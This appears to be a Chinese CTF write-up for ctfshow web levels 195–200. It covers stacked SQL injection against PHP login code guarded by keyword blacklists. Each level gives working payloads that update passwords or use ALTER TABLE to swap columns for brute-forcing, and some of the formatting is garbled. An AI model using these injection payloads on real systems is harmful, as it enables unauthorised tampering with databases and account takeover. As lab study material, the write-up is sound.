堆叠注入总结
1. 堆叠注入局限性,并非每个环境下均可以执行,可能受到API或者数据库引擎不支持的限制,固然了权限不足也能够解释为何攻击者没法修改数据或者调用一些程序2. 没有过滤update和set直接修改密码3. 没有过滤select 可以直接修改获取的参数 196我并不是很懂有一说一4. 没有过滤alter和change可以修改表名,将id和password互换可以暴力破解
195
源码分析
查询语句 这里是数字型注入,输入0返回的是密码错误
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑 过滤了union select or 这样的话盲注就做不到了,但是没有过滤;可以用堆叠注入,这里的密码判断就比较严格了
//密码检测if(!is_numeric($password)){$ret['msg']='密码只能为数字';die(json_encode($ret));}//密码判断if($row['pass']==$password){$ret['msg']='登陆成功';}//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
payload
直接修改密码 之后再登录 1;update
ctfshow_usersetpass=123456
196
源码分析
查询语句 这里是数字型注入,输入0返回的是密码错误
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑 这里加了长度限制 这道题有问题 fuzz可以发现select没有过滤 ```php //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|\’|\”|select|union|or|and|\x26|\x7c|file|into/i’, $username)){ $ret[‘msg’]=’用户名非法’; die(json_encode($ret)); }
if(strlen($username)>16){ $ret[‘msg’]=’用户名不能超过16个字符’; die(json_encode($ret)); }
if($row[0]==$password){ $ret[‘msg’]=”登陆成功 flag is $flag”; }
<a name="MH5YQ"></a>### payloadusername: 0;select(1) password:1<a name="JQ7Yu"></a># 197<a name="fGQ5S"></a>### 源码分析1. sql语句```php$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑 过滤了update过滤了set和select前面的payload就不行了
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
可以用alter和change修改表名将pass改为tmp,再将id改为pass,这样我们就可以很轻松的进行暴力破解了
payload
0;alter table ctfshow_user change column pass tmp varchar(255);alter table ctfshow_user change column id pass varchar(255);alter table ctfshow_user change column tmp id varchar(255)
198
源码分析
sql语句
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
paylaod
解题同上
199
源码分析
sql语句
//拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑 在上题的基础上过滤了( emmm,就是varchar()用了 直接改为text和int就ok了
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}
payload
0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text
web200
同199
